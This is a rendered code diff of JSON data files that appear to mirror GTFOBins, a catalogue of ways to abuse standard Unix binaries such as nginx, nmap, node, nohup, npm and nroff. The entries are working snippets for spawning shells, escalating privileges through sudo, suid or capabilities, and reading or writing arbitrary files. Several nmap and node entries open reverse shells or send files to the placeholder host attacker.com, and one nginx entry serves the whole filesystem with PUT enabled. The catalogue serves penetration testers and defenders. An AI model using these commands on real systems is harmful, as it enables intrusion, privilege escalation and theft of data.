"file-write": [
|
|
16
|
+
{
|
|
17
|
+
"description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.",
|
|
18
|
+
"code": "PORT=1337\nLFILE=file_to_write\nTF=$(mktemp)\necho DATA >$TF\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -X PUT http://localhost:$PORT$LFILE -d @$TF\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nice.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "nice /bin/sh\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "./nice /bin/sh -p\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo nice /bin/sh\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/nl.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The read file content is corrupted by a leading space added to each line.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nnl -bn -w1 -s '' $LFILE\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./nl -bn -w1 -s '' $LFILE\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo nl -bn -w1 -s '' $LFILE\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/nm.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nnm @$LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./nm @$LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo nm @$LFILE\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nmap.json
CHANGED
|
@@ -12,48 +12,54 @@
|
|
|
12
12
|
],
|
|
13
13
|
"non-interactive-reverse-shell": [
|
|
14
14
|
{
|
|
15
|
-
"description": "Run
|
|
16
|
-
"code": "
|
|
15
|
+
"description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell.",
|
|
16
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp)\necho 'local s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();' > $TF\nnmap --script=$TF\n"
|
|
17
17
|
}
|
|
18
18
|
],
|
|
19
19
|
"non-interactive-bind-shell": [
|
|
20
20
|
{
|
|
21
|
-
"description": "Run
|
|
22
|
-
"code": "
|
|
21
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
|
|
22
|
+
"code": "export LPORT=12345\nTF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();' > $TF\nnmap --script=$TF\n"
|
|
23
23
|
}
|
|
24
24
|
],
|
|
25
25
|
"file-upload": [
|
|
26
26
|
{
|
|
27
|
-
"description": "Send a local file via TCP. Run
|
|
28
|
-
"code": "
|
|
27
|
+
"description": "Send a local file via TCP. Run `socat -v tcp-listen:8080,reuseaddr,fork - on the attacker box to collect the file or use a proper HTTP server. Note that multiple connections are made to the server. Also, it is important that the port is a commonly used HTTP like 80 or 8080.",
|
|
28
|
+
"code": "RHOST=attacker.com\nRPORT=8080\nLFILE=file_to_send\nnmap -p $RPORT $RHOST --script http-put --script-args http-put.url=/,http-put.file=$LFILE\n"
|
|
29
29
|
},
|
|
30
30
|
{
|
|
31
|
-
"description": "Send a local file via TCP. Run
|
|
32
|
-
"code": "
|
|
31
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.",
|
|
32
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nTF=$(mktemp)\necho 'local f=io.open(os.getenv(\"LFILE\"), 'rb')\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\nt:send(d);\nt:close();' > $TF\nnmap --script=$TF\n"
|
|
33
33
|
}
|
|
34
34
|
],
|
|
35
35
|
"file-download": [
|
|
36
36
|
{
|
|
37
|
-
"description": "Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g.,
|
|
38
|
-
"code": "
|
|
37
|
+
"description": "Fetch a remote file via TCP. Run a proper HTTP server on the attacker box to send the file, e.g., `php -S 0.0.0.0:8080`. Note that multiple connections are made to the server and the result is placed in `$TF/IP/PORT/PATH`. Also, it is important that the port is a commonly used HTTP like 80 or 8080.",
|
|
38
|
+
"code": "RHOST=attacker.com\nRPORT=8080\nTF=$(mktemp -d)\nLFILE=file_to_save\nnmap -p $RPORT $RHOST --script http-fetch --script-args http-fetch.destination=$TF,http-fetch.url=$LFILE\n"
|
|
39
39
|
},
|
|
40
40
|
{
|
|
41
|
-
"description": "Fetch a remote file via TCP. Run
|
|
42
|
-
"code": "
|
|
41
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file.",
|
|
42
|
+
"code": "export LPORT=12345\nexport LFILE=file_to_save\nTF=$(mktemp)\necho 'local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(os.getenv(\"LFILE\"), \"wb\");\nf:write(d);\nio.close(f);' > $TF\nnmap --script=$TF\n"
|
|
43
43
|
}
|
|
44
44
|
],
|
|
45
45
|
"file-write": [
|
|
46
46
|
{
|
|
47
|
-
"
|
|
47
|
+
"description": "",
|
|
48
|
+
"code": "TF=$(mktemp)\necho 'local f=io.open(\"file_to_write\", \"wb\"); f:write(\"data\"); io.close(f);' > $TF\nnmap --script=$TF\n"
|
|
48
49
|
},
|
|
49
50
|
{
|
|
50
51
|
"description": "The payload appears inside the regular nmap output.",
|
|
51
|
-
"code": "
|
|
52
|
+
"code": "LFILE=file_to_write\nnmap -oG=$LFILE DATA\n"
|
|
52
53
|
}
|
|
53
54
|
],
|
|
54
55
|
"file-read": [
|
|
55
56
|
{
|
|
56
|
-
"
|
|
57
|
+
"description": "",
|
|
58
|
+
"code": "TF=$(mktemp)\necho 'local f=io.open(\"file_to_read\", \"rb\"); print(f:read(\"*a\")); io.close(f);' > $TF\nnmap --script=$TF\n"
|
|
59
|
+
},
|
|
60
|
+
{
|
|
61
|
+
"description": "The file is actually parsed as a list of hosts/networks, lines are leaked through error messages.",
|
|
62
|
+
"code": "nmap -iL file_to_read\n"
|
|
57
63
|
}
|
|
58
64
|
],
|
|
59
65
|
"sudo": [
|
|
@@ -73,9 +79,13 @@
|
|
|
73
79
|
}
|
|
74
80
|
],
|
|
75
81
|
"suid": [
|
|
82
|
+
{
|
|
83
|
+
"description": "Works on older nmap versions.",
|
|
84
|
+
"code": "./nmap --interactive\n!sh\n"
|
|
85
|
+
},
|
|
76
86
|
{
|
|
77
87
|
"description": "The payload appears inside the regular nmap output.",
|
|
78
|
-
"code": "./nmap -oG
|
|
88
|
+
"code": "LFILE=file_to_write\n./nmap -oG=$LFILE DATA\n"
|
|
79
89
|
}
|
|
80
90
|
]
|
|
81
91
|
}
|
gtfo/data/node.json
CHANGED
|
@@ -2,56 +2,62 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-write": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "node -e 'require(\"fs\").writeFileSync(\"file_to_write\", \"DATA\")'\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"file-read": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "node -e 'process.stdout.write(require(\"fs\").readFileSync(\"/bin/ls\"))'\n"
|
|
16
19
|
}
|
|
17
20
|
],
|
|
18
21
|
"file-download": [
|
|
19
22
|
{
|
|
20
23
|
"description": "Fetch a remote file via HTTP GET request.",
|
|
21
|
-
"code": "
|
|
24
|
+
"code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nnode -e 'require(\"http\").get(process.env.URL, res => res.pipe(require(\"fs\").createWriteStream(process.env.LFILE)))'\n"
|
|
22
25
|
}
|
|
23
26
|
],
|
|
24
27
|
"file-upload": [
|
|
25
28
|
{
|
|
26
29
|
"description": "Send a local file via HTTP POST request.",
|
|
27
|
-
"code": "
|
|
30
|
+
"code": "export URL=http://attacker.com\nexport LFILE=file_to_send\nnode -e 'require(\"fs\").createReadStream(process.env.LFILE).pipe(require(\"http\").request(process.env.URL))'\n"
|
|
28
31
|
}
|
|
29
32
|
],
|
|
30
33
|
"reverse-shell": [
|
|
31
34
|
{
|
|
32
|
-
"description": "Run
|
|
33
|
-
"code": "
|
|
35
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
|
|
36
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nnode -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").connect(process.env.RPORT, process.env.RHOST, function () {\n this.pipe(sh.stdin);\n sh.stdout.pipe(this);\n sh.stderr.pipe(this);\n})'\n"
|
|
34
37
|
}
|
|
35
38
|
],
|
|
36
39
|
"bind-shell": [
|
|
37
40
|
{
|
|
38
|
-
"description": "Run
|
|
39
|
-
"code": "
|
|
41
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
|
|
42
|
+
"code": "export LPORT=12345\nnode -e 'sh = require(\"child_process\").spawn(\"/bin/sh\");\nrequire(\"net\").createServer(function (client) {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n}).listen(process.env.LPORT)'\n"
|
|
40
43
|
}
|
|
41
44
|
],
|
|
42
45
|
"suid": [
|
|
43
46
|
{
|
|
44
|
-
|
|
47
|
+
|
|
48
|
+
"code": "./node -e 'require(\"child_process\").spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n"
|
|
45
49
|
}
|
|
46
50
|
],
|
|
47
51
|
"sudo": [
|
|
48
52
|
{
|
|
49
|
-
|
|
53
|
+
|
|
54
|
+
"code": "sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
50
55
|
}
|
|
51
56
|
],
|
|
52
57
|
"capabilities": [
|
|
53
58
|
{
|
|
54
|
-
|
|
59
|
+
|
|
60
|
+
"code": "./node -e 'process.setuid(0); require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
|
|
55
61
|
}
|
|
56
62
|
]
|
|
57
63
|
}
|
gtfo/data/nohup.json
CHANGED
|
@@ -2,22 +2,26 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"command": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "COMMAND='/usr/bin/id'\nnohup \"$COMMAND\"\ncat nohup.out\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
|
-
"
|
|
15
|
+
"suid": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./nohup /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"\n"
|
|
16
19
|
}
|
|
17
20
|
],
|
|
18
|
-
"
|
|
21
|
+
"sudo": [
|
|
19
22
|
{
|
|
20
|
-
|
|
23
|
+
|
|
24
|
+
"code": "sudo nohup /bin/sh -c \"sh <$(tty) >$(tty) 2>$(tty)\"\n"
|
|
21
25
|
}
|
|
22
26
|
]
|
|
23
27
|
}
|
gtfo/data/npm.json
CHANGED
|
@@ -2,11 +2,17 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
6
|
+
"code": "npm exec /bin/sh\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.",
|
|
5
10
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nnpm -C $TF i\n"
|
|
6
11
|
}
|
|
7
12
|
],
|
|
8
13
|
"sudo": [
|
|
9
14
|
{
|
|
15
|
+
"description": "Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.",
|
|
10
16
|
"code": "TF=$(mktemp -d)\necho '{\"scripts\": {\"preinstall\": \"/bin/sh\"}}' > $TF/package.json\nsudo npm -C $TF --unsafe-perm i\n"
|
|
11
17
|
}
|
|
12
18
|
]
|
gtfo/data/nroff.json
CHANGED
|
@@ -3,16 +3,18 @@
|
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
5
|
"description": "The file is typeset and some warning messages may appear.",
|
|
6
|
-
"code": "
|
|
6
|
+
"code": "LFILE=file_to_read\nnroff $LFILE\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"shell": [
|
|
10
10
|
{
|
|
11
|
+
|
|
11
12
|
"code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nGROFF_BIN_PATH=$TF nroff\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
17
|
+
|
|
16
18
|
"code": "TF=$(mktemp -d)\necho '#!/bin/sh' > $TF/groff\necho '/bin/sh' >> $TF/groff\nchmod +x $TF/groff\nsudo GROFF_BIN_PATH=$TF nroff\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
gtfo/data/nsenter.json
CHANGED